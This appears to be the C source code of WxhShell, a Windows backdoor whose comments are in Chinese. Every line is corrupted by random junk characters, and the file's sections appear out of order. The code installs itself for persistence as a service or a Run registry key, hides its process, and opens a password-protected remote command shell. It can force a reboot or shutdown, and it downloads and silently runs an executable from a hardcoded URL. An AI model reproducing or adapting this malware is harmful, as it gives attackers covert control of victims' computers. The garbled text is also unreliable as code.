ULONG UniqueProcessId; Acw`ytV
ULONG InheritedFromUniqueProcessId; u9@B&
} PROCESS_BASIC_INFORMATION; {*O%A
g,\kLTg
PROCNTQSIP NtQueryInformationProcess; -]0:FKW
CBd%}il
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &tZIWV1&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v<v;Z R)
}3: mn
HANDLE hProcess; W$`v^1M2o
PROCESS_BASIC_INFORMATION pbi; *:H,-@
jz<}9Kze
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .rk5u4yK
if(NULL == hInst ) return 0; s-rc0:I
}oZ8esZU2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AF#:*<Ev
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ysOf=~1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [nxYfER7
~JT2el2W7p
if (!NtQueryInformationProcess) return 0; *Vl#]81~
KhWy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >`03EsU
if(!hProcess) return 0; P{)D_Bi
g*b`o87PI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -
2L(])t6
(@}^ 3jpT
CloseHandle(hProcess); z~h?"'
=Oy& f:s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?Vg~7Eu0
if(hProcess==NULL) return 0; fSbLkd 9
7310'wc
HMODULE hMod; E9\"@wu[d
char procName[255]; GbO j%
a
unsigned long cbNeeded; neu+h6#H
A>gZl)c
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S Q:H2vvD
:0y-n.-{
CloseHandle(hProcess); ouCh2Y/_
=Lkn
if(strstr(procName,"services")) return 1; // 以服务启动 MPUyu(-%{
N-2#-poDe
return 0; // 注册表启动 p'LLzc##
} Mk#r_:[BS
%BC%fVdP
// 主模块 q*lk9{>
int StartWxhshell(LPSTR lpCmdLine) `>\
~y1
{ (DvPdOT+3
SOCKET wsl; WILa8"M
BOOL val=TRUE; f.J^HQ_
int port=0; o+hp#e
struct sockaddr_in door; !X7z y9
O83J[YuzjN
if(wscfg.ws_autoins) Install(); K7C
<}y
R^`}DlHX
port=atoi(lpCmdLine); #"6l+}
:i>LESJq
if(port<=0) port=wscfg.ws_port; #tZ!D^GQHq
6%p6BK6
WSADATA data; ?:/J8s
[O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]uFJ~:R
tiGH#~?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pHR`%2!"t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o%+w:u.
door.sin_family = AF_INET; gtH^'vFZ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U $#^ e
door.sin_port = htons(port); 2#$7!`6K
H 2I
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x(u.(:V
closesocket(wsl); -}TP)/!,*
return 1; t'Yd+FK
} H$ nzyooh
f
] *w1
if(listen(wsl,2) == INVALID_SOCKET) { @{qcu\sZ
closesocket(wsl); e6'0g=Y#
return 1; e;=R8i
} l1zPL3"u_^
Wxhshell(wsl);
z}J~X%}e
WSACleanup(); !Yo2P"
_K?v^oM#
return 0; -ioO8D&!
JUw|nUnl?
} 0*]0#2Z
prO&"t
>
// 以NT服务方式启动 )Mq4p'*A[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o!h::j0,~
{ =UO7!vr;[
DWORD status = 0; I[Bp}6G
DWORD specificError = 0xfffffff; I|*<[/)]y
Z]LP18m9kl
serviceStatus.dwServiceType = SERVICE_WIN32; /b{@']
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RoHX0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H)TKk%`7
serviceStatus.dwWin32ExitCode = 0; GKg #nXS
serviceStatus.dwServiceSpecificExitCode = 0; JqLPJUr
serviceStatus.dwCheckPoint = 0; =S54p(>
serviceStatus.dwWaitHint = 0; 7mnO60Z8N
>H euf"V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -"yma_
if (hServiceStatusHandle==0) return; l{r HXST|
g NE"z
status = GetLastError(); Ld:-S,2
if (status!=NO_ERROR) a$uDoi
{ 6G4~-_
serviceStatus.dwCurrentState = SERVICE_STOPPED; xPF.c,6b4=
serviceStatus.dwCheckPoint = 0; }c9RDpjh~
serviceStatus.dwWaitHint = 0; }:?_/$};
serviceStatus.dwWin32ExitCode = status; D'g@B.fXd
serviceStatus.dwServiceSpecificExitCode = specificError; lnl>!z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8}oe))b
return; -{L 7%j|R
} r8y,$Mv<)0
'h&>K,U?5
serviceStatus.dwCurrentState = SERVICE_RUNNING; Tw/7P~*
serviceStatus.dwCheckPoint = 0; } 5"Rj<
serviceStatus.dwWaitHint = 0; ]\ZJaU80I~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I7XM2xM
} Y]&2E/oc
j5hQ;~Fa|
// 处理NT服务事件,比如:启动、停止 IwXQbJ3v_
VOID WINAPI NTServiceHandler(DWORD fdwControl) )q!dMZ(
{ r^s$U,e#~
switch(fdwControl) sWA-_ 4
{ vEt=enQ
case SERVICE_CONTROL_STOP: Xhyc2DKa_
serviceStatus.dwWin32ExitCode = 0; &_QD1 TT
serviceStatus.dwCurrentState = SERVICE_STOPPED; sAX4giaLD
serviceStatus.dwCheckPoint = 0; ]*DIn1C^
serviceStatus.dwWaitHint = 0; &z\?A2Mw%
{ Ki:98a$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OpOR!
} 5=<fJXf5y
return; Jk<b#SZ[b
case SERVICE_CONTROL_PAUSE: v>hc\H1P
serviceStatus.dwCurrentState = SERVICE_PAUSED; NCkrf]*F-
break; *bcemH8f
case SERVICE_CONTROL_CONTINUE: B&3@b
serviceStatus.dwCurrentState = SERVICE_RUNNING; >4lA+1JYk
break; ]C_$zbmi
case SERVICE_CONTROL_INTERROGATE: /#x0?d{5
break; 4GJx1O0Ol
}; ^7kYG7/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OJ\j6owA
} a$11u.\q+
p|>/Hz1v
// 标准应用程序主函数 pkIJbI{aS
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (:#4{C
{ W}^>lM\8
on\ahk, y]
// 获取操作系统版本 B`%%,SLJ
OsIsNt=GetOsVer(); L@ N\8mf
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qmv8T
^+
:$^sI"hO
// 从命令行安装 >va9*pdJ
if(strpbrk(lpCmdLine,"iI")) Install(); }N3Ur~X\
_rUsb4r
// 下载执行文件 "y .(E7 6
if(wscfg.ws_downexe) { #=fd8}9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7&dPrnQX=
WinExec(wscfg.ws_filenam,SW_HIDE); "aGpC{
} bsWDjV~
n
QOLR?%
if(!OsIsNt) { M)nf(jw#G
// 如果时win9x,隐藏进程并且设置为注册表启动 b\"2O4K,)
HideProc(); XR)I,@i`'
StartWxhshell(lpCmdLine); w`Z@|A
} O;;vz+ j
else ^@q$c
if(StartFromService()) V/DdV}n!
// 以服务方式启动 `ucr;P
StartServiceCtrlDispatcher(DispatchTable); 03y5$kQ
else 9TE-'R@
// 普通方式启动 aQfrDM<*XS
StartWxhshell(lpCmdLine); ""F'Nzy
X@7e7
return 0; @ GzN0yXhR
} /I'
np
*j|BSd
P
8:UV; 5@
<7~+ehu
=========================================== 2fJ2o[v
SJI+$L\'
D)LqkfJ}z^
kKSn^qL*
$Xo_C_:B
\CE8S+Z%
" .SSj=q4?
@y\M8C8
#include <stdio.h> J3=^+/g
#include <string.h> \Mod4tQ
#include <windows.h> $zV[-d
#include <winsock2.h>
XS"lR |
#include <winsvc.h> a@WSIcX*W
#include <urlmon.h> 8h7z
0~N2MoOl^
#pragma comment (lib, "Ws2_32.lib") 5eSmyj-W
#pragma comment (lib, "urlmon.lib") ?)#}Nj<R
faaFmEC
#define MAX_USER 100 // 最大客户端连接数 >sE{c>R%
#define BUF_SOCK 200 // sock buffer )0Lv-Gs
#define KEY_BUFF 255 // 输入 buffer oBTRO0.s+
ul3._Q
#define REBOOT 0 // 重启 gnSb)!i>z
#define SHUTDOWN 1 // 关机 {p(.ckze+
liq9P,(
#define DEF_PORT 5000 // 监听端口 'Sjcm@ILm
k@ZmI^
#define REG_LEN 16 // 注册表键长度 cw{[% 7
#define SVC_LEN 80 // NT服务名长度 6~0.YZ9
+3D3[.n
// 从dll定义API snyg
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vSy#[9}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y"SVZ} ;|
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h"G#} C]
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sIh,@b
+V6N/{^5
// wxhshell配置信息 %t^-Guz
struct WSCFG { $u./%JS
int ws_port; // 监听端口 ]\<^rEU
char ws_passstr[REG_LEN]; // 口令 ?-0>Wbg
int ws_autoins; // 安装标记, 1=yes 0=no [SJ*ks,]
char ws_regname[REG_LEN]; // 注册表键名 f#UT~/~bL2
char ws_svcname[REG_LEN]; // 服务名 }-R|f_2Hp
char ws_svcdisp[SVC_LEN]; // 服务显示名 Am?
d HP
char ws_svcdesc[SVC_LEN]; // 服务描述信息 lf\]^yM #
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n-n{+Dl!
int ws_downexe; // 下载执行标记, 1=yes 0=no vHPp$lql
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p M:lg
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X4U$#uI{
7Z/KXc[b
}; =F5(k(Ds
[,TuNd
// default Wxhshell configuration lclSzC9
struct WSCFG wscfg={DEF_PORT, /"$;3n~
"xuhuanlingzhe", r4h4A w {
1, _"B5S?
"Wxhshell", Ojf.D6nY
"Wxhshell", ^?H3:CS
"WxhShell Service", |%R}!O<.c
"Wrsky Windows CmdShell Service", i`R}IP?71
"Please Input Your Password: ", 0XBv8fg
1, Rj9YAW$
"http://www.wrsky.com/wxhshell.exe", A~6:eappH
"Wxhshell.exe" %P2GQS-N
};
wBUn*L
r-s.i+\
// 消息定义模块 ?E0j)P/
(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mg0[PbS
char *msg_ws_prompt="\n\r? for help\n\r#>"; ch}t++`l]
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kuz
/
char *msg_ws_ext="\n\rExit."; :!\?yj{{
char *msg_ws_end="\n\rQuit."; 4jlUyAD
char *msg_ws_boot="\n\rReboot..."; ljTnxg/?
W
char *msg_ws_poff="\n\rShutdown..."; #?Z>o16,u
char *msg_ws_down="\n\rSave to "; `r:n[N=Y&
{f\/2k3
char *msg_ws_err="\n\rErr!"; kqfO3{-;{:
char *msg_ws_ok="\n\rOK!"; [wJM=`!W
MV<2x7S
char ExeFile[MAX_PATH]; Gvk)H$ni
int nUser = 0; QQUYWC
HANDLE handles[MAX_USER]; /[iqga=
int OsIsNt; ^-9g_5
lU0'5!3R,
SERVICE_STATUS serviceStatus; +wU9d8W
SERVICE_STATUS_HANDLE hServiceStatusHandle; RHdcRojF
|?=K'[5
// 函数声明 lr:rQw9
int Install(void); 0Z{f!MOh
int Uninstall(void); r(W=1e'
int DownloadFile(char *sURL, SOCKET wsh); J2M[aibV
int Boot(int flag); VFj}{Y
void HideProc(void); VL5GX(
int GetOsVer(void); o.ntzN
int Wxhshell(SOCKET wsl); [;`B
void TalkWithClient(void *cs); TzT(aWP"
int CmdShell(SOCKET sock); v"VpE`z1#
int StartFromService(void); 5J^S-K^r
int StartWxhshell(LPSTR lpCmdLine); 82.::J'e
J|-X?V;ZW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x78`dX
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N,9W18
@
"NY[&S
// 数据结构和表定义 EIqe|a+
SERVICE_TABLE_ENTRY DispatchTable[] = u:Fa1 !4JR
{ E)l0`83~^
{wscfg.ws_svcname, NTServiceMain}, Nr?Z[6O|
{NULL, NULL} wJs#rkW
}; 7{%_6b"
!e5!8z
// 自我安装 PT7-_r
int Install(void) *w>dT
{ 5hN`}Ve
char svExeFile[MAX_PATH]; RjC3wO::
HKEY key; ?6;9r[ p
strcpy(svExeFile,ExeFile); W_:3Sj l'
\':'8:E
// 如果是win9x系统,修改注册表设为自启动 ZS*PY,
if(!OsIsNt) { ,@mr})s
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?RyeZKf
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &M p??{g
RegCloseKey(key); =P}ob eY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $l05VZ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \$.8iTr@
RegCloseKey(key); V2As 5
return 0; fhGI
} TPjElBh
} By&T59
} 'MLp*3djF,
else { Y.XNA]|
xeo5)
// 如果是NT以上系统,安装为系统服务 u^HC1r|%
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^U"$uJz!c
if (schSCManager!=0) #NU@7Q[4
{ P%VEJ5,]b
SC_HANDLE schService = CreateService 5bKBVkJ'
( wKxw|Fpn
schSCManager, Nm;yL
wscfg.ws_svcname, *3.K; Ic;
wscfg.ws_svcdisp, =lB+GS%
SERVICE_ALL_ACCESS, '3BBTr%aZ
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Gwn ,&)
SERVICE_AUTO_START, HSXv_
SERVICE_ERROR_NORMAL, "DN0|%`M/
svExeFile, SlU?,)J}
NULL, d 8YP<"V&
NULL, MI^@p`s
NULL, ~s3X&!#
NULL, L|B/'
NULL Q=YIAGK
); =geopktpf
if (schService!=0) H(L.k;B
{ ?4k/V6n@y
CloseServiceHandle(schService); kYbqb?
CloseServiceHandle(schSCManager); ~quof>
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'q3<R%^Q
strcat(svExeFile,wscfg.ws_svcname); _C`&(?}
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z$64Ep#
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +D7>$&BD
RegCloseKey(key); x*H,eY3
return 0; ( *~ '#k
} 6,wi81F,}
} 2IfcdYG
CloseServiceHandle(schSCManager); 0d>|2QV
} {KQ-QKxxS
} >:o$h2
{}.M(nPtv;
return 1; I/2{I
} 55Pe&V1=
P 2-^j)
// 自我卸载 Dq07Z^#'
int Uninstall(void) n["G
ry
{ &`@S_YLr
HKEY key; {lam],#r
:.DZ~I
if(!OsIsNt) { >m:;.vVY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >X@4wP7l
RegDeleteValue(key,wscfg.ws_regname); u[:-^H
RegCloseKey(key); `T'[H/
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t=l@(%O 0_
RegDeleteValue(key,wscfg.ws_regname); ^LI\W'K
RegCloseKey(key); o#Gf7.E8
return 0; !
3 ;;6
}
Vs1H)T%
} :)9CG!2y<M
} Ew<
sK9[o
else { 'c7'iDM
<z.Y#{p?k
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); As{Q9o5j/
if (schSCManager!=0) e
w%rc.;
{ p>ba6BDJT
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4h*c{do
if (schService!=0) %LM2CgH
V
{ oV/:T\Qn=
if(DeleteService(schService)!=0) { H*.v*ro9_
CloseServiceHandle(schService); K#%@4]jO3
CloseServiceHandle(schSCManager); =I.uf
return 0; =67ab_V
} &0*7]Wo*
CloseServiceHandle(schService); ]D.}
/g
} I]@QhCm0
CloseServiceHandle(schSCManager); p=XEMVqm
} (X?HuWTm
} !We9T )e
/KTWBcs 7
return 1; uQhI)
} 7_9^nDU
49o /S2b4z
// 从指定url下载文件 ul-O3]\'@
int DownloadFile(char *sURL, SOCKET wsh) /$\N_`bM
{ P7 h^!a/
HRESULT hr; (.J6>"K<
char seps[]= "/"; M!`&Z9N
char *token; 7VIfRN{5n
char *file; &q7}HO/ @
char myURL[MAX_PATH]; Mdw"^x$7
char myFILE[MAX_PATH]; ~hxW3e
YB+My~fw{l
strcpy(myURL,sURL); 2!)|B
;y
token=strtok(myURL,seps); g#iRkz%l)&
while(token!=NULL) +Pc2`,pw|
{ H73 r3BH
file=token; 5(>ux@[qI:
token=strtok(NULL,seps); cd&sAK"
} @ N@
!Q
V8O-|7H$v
GetCurrentDirectory(MAX_PATH,myFILE); Eo`'6
3
strcat(myFILE, "\\"); Bh UGMK
strcat(myFILE, file); m0i,Zw{eM
send(wsh,myFILE,strlen(myFILE),0); g [u*`]-;v
send(wsh,"...",3,0); :bq${
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *L&|4|BF2
if(hr==S_OK) lqcPV) n
return 0; n v
?u
else =TGa\iclpB
return 1; _<6E>"*m
`l'Ine11
} *x/H
b:PzqMh{G
// 系统电源模块 Bun^EJ)
int Boot(int flag) e>UU/Ks
{ mwMc AUD]2
HANDLE hToken; ,`ba?O?*G
TOKEN_PRIVILEGES tkp; d"=)=hm!
)GfL?'Z
if(OsIsNt) { 2U`!0~pod
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^v&"{2
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F]L96&
tkp.PrivilegeCount = 1; ?BX}0RWMh7
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,`8:@<e
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E#E&z (G2
if(flag==REBOOT) { ^U6VJ(58P
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gg.lajX
return 0; @8Cja.H
} <M,<|Y*)
else { ?L| Ai\|
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Q~\1D 9g
return 0; X"V)oC
} q8)wAl
} o]eG+i6g]
else { C{G;G@/7
if(flag==REBOOT) { :(K JLa]
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5`6U:MDq
return 0; gL&)l!2Y
} b%h.>ij?
else { B2:GGZ|jS
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q26qY5D
return 0; GBTwQYF
} 9aYVbq""
} k/M{2Po+
!TN)6e7`
return 1; H~?7:K
} BxiR0snf0q
KP`Pzx
// win9x进程隐藏模块 WQ9VcCY
void HideProc(void) Ri3*au/Q
{ 5S ) N&%
zCS&